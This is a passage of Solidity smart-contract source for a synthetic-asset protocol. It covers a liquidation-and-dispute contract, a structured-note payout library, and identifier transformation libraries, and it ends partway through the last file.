pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./PricelessPositionManager.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title Liquidatable
* @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position.
* @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the
* liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on
* a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false
* liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a
* prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute.
* NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
contract Liquidatable is PricelessPositionManager {
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
/****************************************
* LIQUIDATION DATA STRUCTURES *
****************************************/
// Because of the check in withdrawable(), the order of these enum values should not change.
enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed }
struct LiquidationData {
// Following variables set upon creation of liquidation:
address sponsor; // Address of the liquidated position's sponsor
address liquidator; // Address who created this liquidation
Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved
uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle
// Following variables determined by the position that is being liquidated:
FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute
FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute
// Amount of collateral being liquidated, which could be different from
// lockedCollateral if there were pending withdrawals at the time of liquidation
FixedPoint.Unsigned liquidatedCollateral;
// Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation.
FixedPoint.Unsigned rawUnitCollateral;
// Following variable set upon initiation of a dispute:
address disputer; // Person who is disputing a liquidation
// Following variable set upon a resolution of a dispute:
FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute
FixedPoint.Unsigned finalFee;
}
// Define the contract's constructor parameters as a struct to enable more variables to be specified.
// This is required to enable more params, over and above Solidity's limits.
struct ConstructorParams {
// Params for PricelessPositionManager only.
uint256 expirationTimestamp;
uint256 withdrawalLiveness;
address collateralAddress;
address tokenAddress;
address finderAddress;
address timerAddress;
address financialProductLibraryAddress;
bytes32 priceFeedIdentifier;
FixedPoint.Unsigned minSponsorTokens;
// Params specifically for Liquidatable.
uint256 liquidationLiveness;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
}
// This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards.
// `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ
// from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the
// fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error.
struct RewardsData {
FixedPoint.Unsigned payToSponsor;
FixedPoint.Unsigned payToLiquidator;
FixedPoint.Unsigned payToDisputer;
FixedPoint.Unsigned paidToSponsor;
FixedPoint.Unsigned paidToLiquidator;
FixedPoint.Unsigned paidToDisputer;
}
// Liquidations are unique by ID per sponsor
mapping(address => LiquidationData[]) public liquidations;
// Total collateral in liquidation.
FixedPoint.Unsigned public rawLiquidationCollateral;
// Immutable contract parameters:
// Amount of time for pending liquidation before expiry.
// !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors.
// Extremely low liveness values increase the chance that opportunistic invalid liquidations
// expire without dispute, thereby decreasing the usability for sponsors and increasing the risk
// for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic
// token holder for the contract.
uint256 public liquidationLiveness;
// Required collateral:TRV ratio for a position to be considered sufficiently collateralized.
FixedPoint.Unsigned public collateralRequirement;
// Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer
// Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%"
FixedPoint.Unsigned public disputeBondPercentage;
// Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public sponsorDisputeRewardPercentage;
// Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public disputerDisputeRewardPercentage;
/****************************************
* EVENTS *
****************************************/
event LiquidationCreated(
address indexed sponsor,
address indexed liquidator,
uint256 indexed liquidationId,
uint256 tokensOutstanding,
uint256 lockedCollateral,
uint256 liquidatedCollateral,
uint256 liquidationTime
);
event LiquidationDisputed(
address indexed sponsor,
address indexed liquidator,
address indexed disputer,
uint256 liquidationId,
uint256 disputeBondAmount
);
event DisputeSettled(
address indexed caller,
address indexed sponsor,
address indexed liquidator,
address disputer,
uint256 liquidationId,
bool disputeSucceeded
);
event LiquidationWithdrawn(
address indexed caller,
uint256 paidToLiquidator,
uint256 paidToDisputer,
uint256 paidToSponsor,
Status indexed liquidationStatus,
uint256 settlementPrice
);
/****************************************
* MODIFIERS *
****************************************/
modifier disputable(uint256 liquidationId, address sponsor) {
_disputable(liquidationId, sponsor);
_;
}
modifier withdrawable(uint256 liquidationId, address sponsor) {
_withdrawable(liquidationId, sponsor);
_;
}
/**
* @notice Constructs the liquidatable contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PricelessPositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PricelessPositionManager(
params.expirationTimestamp,
params.withdrawalLiveness,
params.collateralAddress,
params.tokenAddress,
params.finderAddress,
params.priceFeedIdentifier,
params.minSponsorTokens,
params.timerAddress,
params.financialProductLibraryAddress
)
nonReentrant()
{
require(params.collateralRequirement.isGreaterThan(1));
require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1));
// Set liquidatable specific variables.
liquidationLiveness = params.liquidationLiveness;
collateralRequirement = params.collateralRequirement;
disputeBondPercentage = params.disputeBondPercentage;
sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
}
/****************************************
* LIQUIDATION FUNCTIONS *
****************************************/
/**
* @notice Liquidates the sponsor's position if the caller has enough
* synthetic tokens to retire the position's outstanding tokens. Liquidations above
* a minimum size also reset an ongoing "slow withdrawal"'s liveness.
* @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be
* approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param sponsor address of the sponsor to liquidate.
* @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate.
* @param deadline abort the liquidation if the transaction is mined after this timestamp.
* @return liquidationId ID of the newly created liquidation.
* @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position.
* @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully.
*/
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
fees()
onlyPreExpiration()
nonReentrant()
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
)
{
// Check that this transaction was mined pre-deadline.
require(getCurrentTime() <= deadline, "Mined after deadline");
// Retrieve Position data for sponsor
PositionData storage positionToLiquidate = _getPositionData(sponsor);
tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding);
require(tokensLiquidated.isGreaterThan(0));
// Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral,
// then set this to 0, otherwise set it to (startCollateral - withdrawal request amount).
FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral);
FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0);
if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) {
startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount);
}
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding;
// The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken].
// maxCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal),
"CR is more than max liq. price"
);
// minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal),
"CR is less than min liq. price"
);
}
// Compute final fee at time of liquidation.
finalFeeBond = _computeFinalFees();
// These will be populated within the scope below.
FixedPoint.Unsigned memory lockedCollateral;
FixedPoint.Unsigned memory liquidatedCollateral;
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding);
// The actual amount of collateral that gets moved to the liquidation.
lockedCollateral = startCollateral.mul(ratio);
// For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of
// withdrawal requests.
liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio);
// Part of the withdrawal request is also removed. Ideally:
// liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral.
FixedPoint.Unsigned memory withdrawalAmountToRemove =
positionToLiquidate.withdrawalRequestAmount.mul(ratio);
_reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove);
}
// Add to the global liquidation collateral count.
_addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond));
// Construct liquidation object.
// Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new
// LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push.
liquidationId = liquidations[sponsor].length;
liquidations[sponsor].push(
LiquidationData({
sponsor: sponsor,
liquidator: msg.sender,
state: Status.NotDisputed,
liquidationTime: getCurrentTime(),
tokensOutstanding: tokensLiquidated,
lockedCollateral: lockedCollateral,
liquidatedCollateral: liquidatedCollateral,
rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)),
disputer: address(0),
settlementPrice: FixedPoint.fromUnscaledUint(0),
finalFee: finalFeeBond
})
);
// If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than
// some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be
// "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold
// is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal.
// We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter
// denominated in token currency units and we can avoid adding another parameter.
FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens;
if (
positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal.
positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired.
tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold".
) {
positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
}
emit LiquidationCreated(
sponsor,
msg.sender,
liquidationId,
tokensLiquidated.rawValue,
lockedCollateral.rawValue,
liquidatedCollateral.rawValue,
getCurrentTime()
);
// Destroy tokens
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue);
tokenCurrency.burn(tokensLiquidated.rawValue);
// Pull final fee from liquidator.
collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue);
}
/**
* @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond
* and pay a fixed final fee charged on each price request.
* @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.
* This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute
* bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation.
* @param liquidationId of the disputed liquidation.
* @param sponsor the address of the sponsor whose liquidation is being disputed.
* @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).
*/
function dispute(uint256 liquidationId, address sponsor)
external
disputable(liquidationId, sponsor)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalPaid)
{
LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);
// Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees.
FixedPoint.Unsigned memory disputeBondAmount =
disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul(
_getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)
);
_addCollateral(rawLiquidationCollateral, disputeBondAmount);
// Request a price from DVM. Liquidation is pending dispute until DVM returns a price.
disputedLiquidation.state = Status.Disputed;
disputedLiquidation.disputer = msg.sender;
// Enqueue a request with the DVM.
_requestOraclePriceLiquidation(disputedLiquidation.liquidationTime);
emit LiquidationDisputed(
sponsor,
disputedLiquidation.liquidator,
msg.sender,
liquidationId,
disputeBondAmount.rawValue
);
totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);
// Pay the final fee for requesting price from the DVM.
_payFinalFees(msg.sender, disputedLiquidation.finalFee);
// Transfer the dispute bond amount from the caller to this contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);
}
/**
* @notice After a dispute has settled or after a non-disputed liquidation has expired,
* anyone can call this method to disperse payments to the sponsor, liquidator, and disdputer.
* @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment.
* If the dispute FAILED: only the liquidator can receive payment.
* This method will revert if rewards have already been dispersed.
* @param liquidationId uniquely identifies the sponsor's liquidation.
* @param sponsor address of the sponsor associated with the liquidation.
* @return data about rewards paid out.
*/
function withdrawLiquidation(uint256 liquidationId, address sponsor)
public
withdrawable(liquidationId, sponsor)
fees()
nonReentrant()
returns (RewardsData memory)
{
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settles the liquidation if necessary. This call will revert if the price has not resolved yet.
_settle(liquidationId, sponsor);
// Calculate rewards as a function of the TRV.
// Note: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata.
FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral);
FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice;
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation);
FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation);
FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage);
FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation);
// There are three main outcome states: either the dispute succeeded, failed or was not updated.
// Based on the state, different parties of a liquidation receive different amounts.
// After assigning rewards based on the liquidation status, decrease the total collateral held in this contract
// by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes
// precision loss.
RewardsData memory rewards;
if (liquidation.state == Status.DisputeSucceeded) {
// If the dispute is successful then all three users should receive rewards:
// Pay DISPUTER: disputer reward + dispute bond + returned final fee
rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee);
// Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward
rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue));
// Pay LIQUIDATOR: TRV - dispute reward - sponsor reward
// If TRV > Collateral, then subtract rewards from collateral
// NOTE: `payToLiquidator` should never be below zero since we enforce that
// (sponsorDisputePct+disputerDisputePct) <= 1 in the constructor when these params are set.
rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor);
rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer);
collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue);
// In the case of a failed dispute only the liquidator can withdraw.
} else if (liquidation.state == Status.DisputeFailed) {
// Pay LIQUIDATOR: collateral + dispute bond + returned final fee
rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
// If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this
// state as a dispute failed and the liquidator can withdraw.
} else if (liquidation.state == Status.NotDisputed) {
// Pay LIQUIDATOR: collateral + returned final fee
rewards.payToLiquidator = collateral.add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
}
emit LiquidationWithdrawn(
msg.sender,
rewards.paidToLiquidator.rawValue,
rewards.paidToDisputer.rawValue,
rewards.paidToSponsor.rawValue,
liquidation.state,
settlementPrice.rawValue
);
// Free up space after collateral is withdrawn by removing the liquidation object from the array.
delete liquidations[sponsor][liquidationId];
return rewards;
}
/**
* @notice Gets all liquidation information for a given sponsor address.
* @param sponsor address of the position sponsor.
* @return liquidationData array of all liquidation information for the given sponsor address.
*/
function getLiquidations(address sponsor)
external
view
nonReentrantView()
returns (LiquidationData[] memory liquidationData)
{
return liquidations[sponsor];
}
/**
* @notice Accessor method to calculate a transformed collateral requirement using the finanical product library
specified during contract deployment. If no library was provided then no modification to the collateral requirement is done.
* @param price input price used as an input to transform the collateral requirement.
* @return transformedCollateralRequirement collateral requirement with transformation applied to it.
* @dev This method should never revert.
*/
function transformCollateralRequirement(FixedPoint.Unsigned memory price)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return _transformCollateralRequirement(price);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// This settles a liquidation if it is in the Disputed state. If not, it will immediately return.
// If the liquidation is in the Disputed state, but a price is not available, this will revert.
function _settle(uint256 liquidationId, address sponsor) internal {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settlement only happens when state == Disputed and will only happen once per liquidation.
// If this liquidation is not ready to be settled, this method should return immediately.
if (liquidation.state != Status.Disputed) {
return;
}
// Get the returned price from the oracle. If this has not yet resolved will revert.
liquidation.settlementPrice = _getOraclePriceLiquidation(liquidation.liquidationTime);
// Find the value of the tokens in the underlying collateral.
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(liquidation.settlementPrice);
// The required collateral is the value of the tokens in underlying * required collateral ratio. The Transform
// Collateral requirement method applies a from the financial Product library to change the scaled the collateral
// requirement based on the settlement price. If no library was specified when deploying the emp then this makes no change.
FixedPoint.Unsigned memory requiredCollateral =
tokenRedemptionValue.mul(_transformCollateralRequirement(liquidation.settlementPrice));
// If the position has more than the required collateral it is solvent and the dispute is valid(liquidation is invalid)
// Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals.
bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral);
liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed;
emit DisputeSettled(
msg.sender,
sponsor,
liquidation.liquidator,
liquidation.disputer,
liquidationId,
disputeSucceeded
);
}
function _pfc() internal view override returns (FixedPoint.Unsigned memory) {
return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral));
}
function _getLiquidationData(address sponsor, uint256 liquidationId)
internal
view
returns (LiquidationData storage liquidation)
{
LiquidationData[] storage liquidationArray = liquidations[sponsor];
// Revert if the caller is attempting to access an invalid liquidation
// (one that has never been created or one has never been initialized).
require(
liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized,
"Invalid liquidation ID"
);
return liquidationArray[liquidationId];
}
function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) {
return liquidation.liquidationTime.add(liquidationLiveness);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _disputable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
require(
(getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed),
"Liquidation not disputable"
);
}
function _withdrawable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
Status state = liquidation.state;
// Must be disputed or the liquidation has passed expiry.
require(
(state > Status.NotDisputed) ||
((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed)),
"Liquidation not withdrawable"
);
}
function _transformCollateralRequirement(FixedPoint.Unsigned memory price)
internal
view
returns (FixedPoint.Unsigned memory)
{
if (!address(financialProductLibrary).isContract()) return collateralRequirement;
try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns (
FixedPoint.Unsigned memory transformedCollateralRequirement
) {
return transformedCollateralRequirement;
} catch {
return collateralRequirement;
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Structured Note Financial Product Library
* @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The
* contract holds say 1 WETH in collateral and pays out that 1 WETH if, at expiry, ETHUSD is below a set strike. If
* ETHUSD is above that strike, the contract pays out a given dollar amount of ETH.
* Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH
* If ETHUSD < $400 at expiry, token is redeemed for 1 ETH.
* If ETHUSD >= $400 at expiry, token is redeemed for $400 worth of ETH, as determined by the DVM.
*/
contract StructuredNoteFinancialProductLibrary is FinancialProductLibrary, Ownable, Lockable {
mapping(address => FixedPoint.Unsigned) financialProductStrikes;
/**
* @notice Enables the deployer of the library to set the strike price for an associated financial product.
* @param financialProduct address of the financial product.
* @param strikePrice the strike price for the structured note to be applied to the financial product.
* @dev Note: a) Only the owner (deployer) of this library can set new strike prices b) A strike price cannot be 0.
* c) A strike price can only be set once to prevent the deployer from changing the strike after the fact.
* d) financialProduct must exposes an expirationTimestamp method.
*/
function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice)
public
onlyOwner
nonReentrant()
{
require(strikePrice.isGreaterThan(0), "Cant set 0 strike");
require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductStrikes[financialProduct] = strikePrice;
}
/**
* @notice Returns the strike price associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return strikePrice for the associated financial product.
*/
function getStrikeForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return financialProductStrikes[financialProduct];
}
/**
* @notice Returns a transformed price by applying the structured note payout structure.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with
// each token backed 1:1 by collateral currency.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(1);
}
if (oraclePrice.isLessThan(strike)) {
return FixedPoint.fromUnscaledUint(1);
} else {
// Token expires to be worth strike $ worth of collateral.
// eg if ETHUSD is $500 and strike is $400, token is redeemable for 400/500 = 0.8 WETH.
return strike.div(oraclePrice);
}
}
/**
* @notice Returns a transformed collateral requirement by applying the structured note payout structure. If the price
* of the structured note is greater than the strike then the collateral requirement scales down accordingly.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled according to price and strike.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If the price is less than the strike than the original collateral requirement is used.
if (oraclePrice.isLessThan(strike)) {
return collateralRequirement;
} else {
// If the price is more than the strike then the collateral requirement is scaled by the strike. For example
// a strike of $400 and a CR of 1.2 would yield:
// ETHUSD = $350, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2
// ETHUSD = $400, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2
// ETHUSD = $425, payout is 0.941 WETH (worth $400). CR is multiplied by 0.941. resulting CR = 1.1292
// ETHUSD = $500, payout is 0.8 WETH (worth $400). CR multiplied by 0.8. resulting CR = 0.96
return collateralRequirement.mul(strike.div(oraclePrice));
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Pre-Expiration Identifier Transformation Financial Product Library
* @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending
* on when a price request is made. If the request is made before expiration then a transformation is made to the identifier
* & if it is at or after expiration then the original identifier is returned. This library enables self referential
* TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration.
*/
contract PreExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => bytes32) financialProductTransformedIdentifiers;
/**
* @notice Enables the deployer of the library to set the transformed identifier for an associated financial product.
* @param financialProduct address of the financial product.
* @param transformedIdentifier the identifier for the financial product to be used if the contract is pre expiration.
* @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A
* transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct
* must expose an expirationTimestamp method.
*/
function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier)
public
nonReentrant()
{
require(transformedIdentifier != "", "Cant set to empty transformation");
require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier;
}
/**
* @notice Returns the transformed identifier associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return transformed identifier for the associated financial product.
*/
function getTransformedIdentifierForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (bytes32)
{
return financialProductTransformedIdentifiers[financialProduct];
}
/**
* @notice Returns a transformed price identifier if the contract is pre-expiration and no transformation if post.
* @param identifier input price identifier to be transformed.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it.
*/
function transformPriceIdentifier(bytes32 identifier, uint256 requestTime)
public
view
override
nonReentrantView()
returns (bytes32)
{
require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation");
// If the request time is before contract expiration then return the transformed identifier. Else, return the
// original price identifier.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return financialProductTransformedIdentifiers[msg.sender];
} else {
return identifier;
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Post-Expiration Identifier Transformation Financial Product Library
* @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending
* on when a price request is made. If the request is made at or after expiration then a transformation is made to the identifier
* & if it is before expiration then the original identifier is returned. This library enables self referential
* TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration.
*/
contract PostExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => bytes32) financialProductTransformedIdentifiers;
/**
* @notice Enables the deployer of the library to set the transformed identifier for an associated financial product.
* @param financialProduct address of the financial product.
* @param transformedIdentifier the identifier for the financial product to be used if the contract is post expiration.
* @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A
* transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct
* must expose an expirationTimestamp method.
*/
function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier)
public
nonReentrant()
{
require(transformedIdentifier != "", "Cant set to empty transformation");
require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set");
